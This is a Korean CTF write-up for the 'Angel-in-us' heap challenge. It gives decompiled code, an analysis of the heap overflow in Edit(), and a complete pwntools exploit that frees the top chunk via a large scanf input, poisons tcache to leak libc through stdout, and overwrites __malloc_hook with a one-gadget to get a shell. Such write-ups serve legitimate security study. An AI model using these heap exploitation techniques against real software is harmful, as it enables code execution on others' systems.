Summary
Top chunk free
stdout leak
scanf trick
이문제는 SED팀 소속 Howdays라는 빡고수형이 낸 문제이다.
대회중에도 솔버가 한명도 없었던 재밌는 문제이다.
Analysis
main()
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int16 buf; // [rsp+6h] [rbp-Ah]
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
setup();
buf = 0;
while ( 1 )
{
menu();
read(0, &buf, 2uLL);
if ( buf == 'E' )
{
Edit();
}
else if ( buf == 'M' )
{
Malloc();
}
}
}
상당히 평-범한 메뉴 첼린지 힙 문제인걸 볼 수 있다.
특이점으로는 보통 View()
가 없는데, 여긴 Free()
가 없고, View
도 없다.
Malloc()
unsigned __int64 Malloc()
{
size_t size; // [rsp+8h] [rbp-18h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
LODWORD(size) = '\0';
buf = 0LL;
printf("size > ");
__isoc99_scanf("%ud", &size);
if ( size <= 0x130 )
{
buf = malloc(size);
if ( !buf )
exit(-1);
printf("content > ", &size);
HIDWORD(size) = read(0, buf, size);
if ( SHIDWORD(size) <= 0 )
exit(-1);
::buf = buf;
::size = size;
}
return __readfsqword(40u) ^ v3;
}
평-범한 malloc
을 구현한 함수이다.
사이즈를 0x130
까지 입력받을 수 있고, 가장 최근에 할당한 힙은 buf
라는 전역변수를 통해 관리한다.
사이즈는 size
라는 전역변수에서 관리한다.
Edit()
unsigned __int64 Edit()
{
size_t nbytes; // [rsp+0h] [rbp-10h]
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
nbytes = 0LL;
printf("size > ", 0LL);
__isoc99_scanf("%ud", &nbytes);
if ( nbytes > 0xE0 )
exit(-1);
printf("content > ", &nbytes);
HIDWORD(nbytes) = read(0, buf, nbytes);
if ( SHIDWORD(nbytes) <= 0 )
exit(-1);
size = nbytes;
return __readfsqword(0x28u) ^ canary;
}
평-범한 edit
를 구현한 함수이다.
특이점으로는 사이즈 입력을 최대 0xe0
까지 받을 수 있어 Heap overflow
가 발생한다는 점이다.
놀랍게도 분석은 이게 끝이다.
Heap overlfow
하나로 모든걸 다 할수 있다.
Exploit
from pwn import *
binary = ("./Angel-in-us")
e = ELF(binary)
libc = e.libc
r = process(binary)
def Malloc(size,content):
r.sendafter("> ","M")
r.sendlineafter("> ",str(size))
r.sendafter("> ",content)
def Edit(size,content):
r.sendafter("> ","E")
r.sendlineafter("> ",str(size))
r.sendafter("> ",content)
stdout = 0x404020
for i in range(22):
Malloc(0x80,"AAAA")
payload = ""
payload += "A"*0x80
payload += p64(0) + p64(0x151)
Edit(0xa0,payload)
r.sendafter("> ","M")
r.sendlineafter("> ","1" * 0x400)
payload = ""
payload += "A"*0x80
payload += p64(0) + p64(0x131)
payload += p32(stdout)
Edit(0xa0,payload)
payload = ""
payload += p64(0xfbad1800)
payload += "\x00" * 25
Malloc(0x120,"AAAA")
Malloc(0x120,"\x60")
Malloc(0x120,payload)
for i in range(2):
r.recvuntil("\x7f")
libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base -= libc.symbols["_IO_file_jumps"]
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
oneshot = libc_base + 0x106ef8
log.info("libc_base : " + hex(libc_base))
log.info("__malloc_hook : " + hex(malloc_hook))
log.info("oneshot : " + hex(oneshot))
Edit(0xa0,p64(0xfbad2800))
for i in range(21):
Malloc(0xa0,"BBBB")
Malloc(0x80,"AAAA")
payload = ""
payload += "B" * 0x80
payload += p64(0) + p64(0x101)
Edit(0xa0,payload)
r.sendafter("> ","M")
r.sendlineafter("> ","1" * 0x400)
payload = ""
payload += "B" * 0x80
payload += p64(0) + p64(0x101)
payload += p64(malloc_hook)
Edit(0xa0,payload)
Malloc(0xd0,"AAAA")
Malloc(0xd0,p64(oneshot))
r.sendafter("> ","M")
r.interactive()
일단 익스코드는 이러하다.
첫번째로 우리는 top chunk
를 tcache bin
으로 옮길것이다.
어떻게?
House of orange
에서 top chunk
아래쪽에 있는 사이즈를 페이지 비트랑 뭐랑 해서 잘 맞춘다음에 손상 시킨 후에 그거보다 크게 말록해서 top chunk
를 free하는거랑 똑같다.
top chunk
사이즈를 0x151
로 주작쳐서 저거보다 크게 할당하면 된다.
근데 scanf
할때 입력 제한이 0xe0
으로 걸려있다.
따라서, scanf
에 엄청 큰 값을 입력했을때 내부 루틴에서 malloc
하는 성질을 이용해서, top chunk
를 free시켜주면 된다.
두번째로, tcache bin
에 들어가있는 top chunk
의 fd
에 stdout
의 주소를 박아준다.
그리고 stdout abuse
를 통해 릭을 따준다.
같은 방법으로 __malloc_hook
에 원샷 가젯 박으면 된다!
그리고 익스코드에서 아래와 같은 부분을 볼 수 있다.
for i in range(22):
Malloc(0x80,"AAAA")
이건 top chunk
의 size
를 티캐시로 맞추기 위함이다.
Flag
juntae@ubuntu:~/ctf/layer7$ p ex.py
[*] '/home/juntae/ctf/layer7/Angel-in-us'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './Angel-in-us': pid 4235
[*] libc_base : 0x7fb62b195000
[*] __malloc_hook : 0x7fb62b379c30
[*] oneshot : 0x7fb62b29bef8
[*] Switching to interactive mode
UH\x89䈃ꏤH\x8b\x04%(: 1: ello,: not found
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(lpadmin),129(sambashare)
'System Hacking (pwnable) > CTF Write-up' 카테고리의 다른 글
[ASIS CTF] cat ( write-up ) (0) | 2019.12.03 |
---|---|
[Rctf] babyheap ( write-up ) (0) | 2019.11.04 |
[Layer7 CTF] How old are you? ( write-up ) (0) | 2019.10.11 |
[Timisoara CTF] Timisoara CTF Quals ( write-up ) (0) | 2019.09.22 |
[BOB CTF] BOB CTF ( write-up ) (0) | 2019.08.27 |